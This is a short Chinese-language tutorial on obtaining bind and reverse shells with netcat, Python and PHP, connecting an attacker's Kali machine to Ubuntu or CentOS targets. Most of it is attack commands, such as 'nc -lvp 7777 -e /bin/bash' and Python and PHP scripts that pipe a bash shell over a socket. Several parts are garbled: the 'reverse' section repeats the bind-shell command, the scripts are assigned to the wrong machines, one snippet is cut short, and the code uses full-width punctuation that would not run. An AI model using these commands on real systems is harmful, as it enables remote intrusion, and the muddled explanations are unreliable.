在Netcat（nc）中，你可以使用以下方法来“返程序”：
正向反弹Shell
在目标服务器（如Ubuntu或CentOS）上，启动Netcat并监听一个端口，例如：
```bash
nc -lvp 7777 -e /bin/bash
```
在攻击者系统（如Kali）上，连接到目标服务器的监听端口：
```bash
nc 192.168.0.24 7777
```
这样，目标服务器上的Shell就会反弹到Kali上，允许你在Kali上执行命令。
反向反弹Shell
在攻击者系统（如Kali）上，启动Netcat并监听一个端口，例如：
```bash
nc -lvp 7777
```
在目标服务器（如Ubuntu或CentOS）上，连接到攻击者系统的监听端口，并执行反弹命令：
```bash
nc -lvp 7777 -e /bin/bash
```
这样，目标服务器上的Shell就会反弹到Kali上，允许你在Kali上执行命令。
使用Python进行反向反弹
在Kali上，使用Python编写一个反向反弹脚本：
```python
import os, socket, subprocess
s = socket.socket（socket.AF_INET, socket.SOCK_STREAM）
s.connect（（'192.168.0.24', 7777））
os.dup2（s.fileno（）, 0）
os.dup2（s.fileno（）, 1）
os.dup2（s.fileno（）, 2）
p = subprocess.call（['/bin/bash', '-i']）
```
在目标服务器上，使用Python连接到Kali的监听端口：
```python
import os, socket
s = socket.socket（socket.AF_INET, socket.SOCK_STREAM）
s.connect（（'192.168.0.24', 7777））
os.dup2（s.fileno（）, 0）
```
这样，目标服务器上的Shell就会反弹到Kali上，允许你在Kali上执行命令。
使用PHP进行反向反弹
在Kali上，使用PHP编写一个反向反弹脚本：
```php
<？php
$sock = stream_socket_client（'tcp://192.168.0.24:7777', $errno, $errstr）；
if （!$sock） {
echo "$errstr （$errno）
\n"；
} else {
shell_exec（'/bin/bash -i', $output, $return_var）；
print_r（$output）；
}
？>
```
在目标服务器上，使用PHP连接到Kali的监听端口：
```php
<？php
$sock = stream_socket_client（'tcp://192.168.0.24:7777', $errno, $errstr）；
if （!$sock） {
echo "$errstr （$errno）
\n"；
} else {
shell_exec（'/bin/bash -i', $output, $return_var）；
print_r（$output）；
}
？>
```
注意：使用PHP反弹Shell需要关闭safe_mode选项。
这些方法都可以用于在不同系统之间反弹Shell，从而实现远程控制。请确保在合法的网络环境中使用这些技术，并遵守相关法律法规。